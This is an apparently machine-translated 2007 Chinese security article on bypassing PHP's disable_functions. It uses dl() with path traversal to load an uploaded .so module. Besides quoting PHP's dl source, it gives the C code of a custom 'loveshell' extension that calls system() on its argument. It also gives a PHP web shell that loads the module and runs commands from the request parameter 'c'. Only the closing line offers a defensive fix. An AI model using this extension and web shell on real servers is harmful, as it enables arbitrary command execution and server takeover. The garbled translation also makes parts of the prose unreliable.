The use of dl function breakthrough disable_functions command execution-vulnerability warning-the black bar safety net

ID MYHACK58:62200715454
Type myhack58
Reporter 佚名
Modified 2007-05-15T00:00:00


Go:http://www. tantao. cn:8 0 8 0/? action=show&id=2 7 5 Article submission: T_Torchidy (

PHP is a powerful and widely used scripting language, a large part of the site is using PHP architecture. Because it provides a powerful file operation function and interact with the system functions, so most of the server for PHP to do a strict restrictions, including the use of open_basedir restrictions can manipulate the directory and use disable_functions to limit the program to use some of the can directly execute system commands function such as system, exec, passthru, and shell_exec and proc_open and so on. But if the server is not on the dl()function do restriction, as you can use the dl()function bypass these restrictions. the dl()function allows php scripts to dynamically load php module, the default is to load the extension_dir directory inside the extension, this option is PHP_INI_SYSTEM scope may be modified only in php. ini or the apache main configuration file modifications. Of course, you can also through the enable_dl option to turn off dynamic loading of functions, and this option default to On, and in fact very few people noticed this. the dl()function in the design when there is a security vulnerability, you can use../to this directory through the way to specify load any one of the directory so other extension file, extension_dir limit can be freely bypass it. So we can upload your own so file, and used dl function to load this so file and then use the so file in the function to perform other operations, including system commands.

PHP_FUNCTION(dl) { pval **file;

ifdef ZTS

if ((strncmp(sapi_module. name, "cgi", 3)!= 0) && (strcmp(sapi_module. name, "cli")!= 0) && (strncmp(sapi_module. name, "embed", 5)!= 0)) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Not supported in multithreaded Web servers - use extension statements in your php. ini"); RETURN_FALSE; } //Verify whether you can use the dl function, in the multi-threadweb serveris prohibited


/ obtain arguments / if (ZEND_NUM_ARGS() != 1 || zend_get_parameters_ex(1, &file) == FAILURE) { WRONG_PARAM_COUNT; }

convert_to_string_ex(file); //obtain parameters

if (! PG(enable_dl)) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Dynamically loaded extentions aren't enabled");//verify whether the enable_dl, the default is on } else if (PG(safe_mode)) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Dynamically loaded extensions aren't allowed when running in Safe Mode");//verify that safe_mode open } else { php_dl(*file, MODULE_TEMPORARY, return_value TSRMLS_CC); //start the call load EG(full_tables_cleanup) = 1; }

The following is a start processing module of the load

void php_dl(pval file, int type, pval return_value TSRMLS_DC) { void handle; char libpath; zend_module_entry module_entry, tmp; zend_module_entry (get_module)(void); int error_type; char *extension_dir; //define some variables

if (type==MODULE_PERSISTENT) { / Use the configuration hash directly, the INI mechanism is not yet initialized / if (cfg_get_string("extension_dir", &extension_dir)==FAILURE) { extension_dir = PHP_EXTENSION_DIR; } } else { extension_dir = PG(extension_dir); } //Get php. ini settings which is the extension_dir directory

if (type==MODULE_TEMPORARY) { error_type = E_WARNING; } else { error_type = E_CORE_WARNING; }

if (extension_dir && extension_dir[0]){ int extension_dir_len = strlen(extension_dir);

libpath = emalloc(extension_dir_len+Z_STRLEN_P(file)+2);

if (IS_SLASH(extension_dir[extension_dir_len-1])) { sprintf(libpath, "%s%s", extension_dir, Z_STRVAL_P(file)); / SAFE / } else { sprintf(libpath, "%s%c%s", extension_dir, DEFAULT_SLASH, Z_STRVAL_P(file)); / SAFE / } //Construct the final so the location of the file, just simply additional, and no incoming parameters to make any check, including open_basedir, etc. } else { libpath = estrndup(Z_STRVAL_P(file), Z_STRLEN_P(file)); } / load dynamic symbol / handle = DL_LOAD(libpath); //start the real call.

As you can see, we can call any of the so! The next step is to write your own so module, and call him. According to the official module write method, I wrote a very simple, the main export function loveshell as follows:


{ char *command; int command_len;

if (ZEND_NUM_ARGS() != 1 || zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC,"s", &command, &command_len) == FAILURE) { WRONG_PARAM_COUNT; } system(command); zend_printf("I recieve %s",command); }

Note that since php4 and php5 structure is not the same, so if you want to be able to successfully call the extension, then in php4 environment is going to be the above code into php4 environment compile php5 depends on php5 environment to compile. We will write a good extended uploaded to the server, you can use the following code executes the command:

<? php dl('../../../../../../../../../www/users/www. cnbct. org/loveshell. so'); $cmd=$_REQUEST[c]." 2>&1>tmp.txt"; loveshell($cmd); echo "<br>"; echo file_get_contents('tmp.txt'); ?& gt;

So if you want to ensure the server's security, see this function added to the disable_functions in the or will safe mode to open it in Safe Mode dl function is unconditionally prohibited!!!:)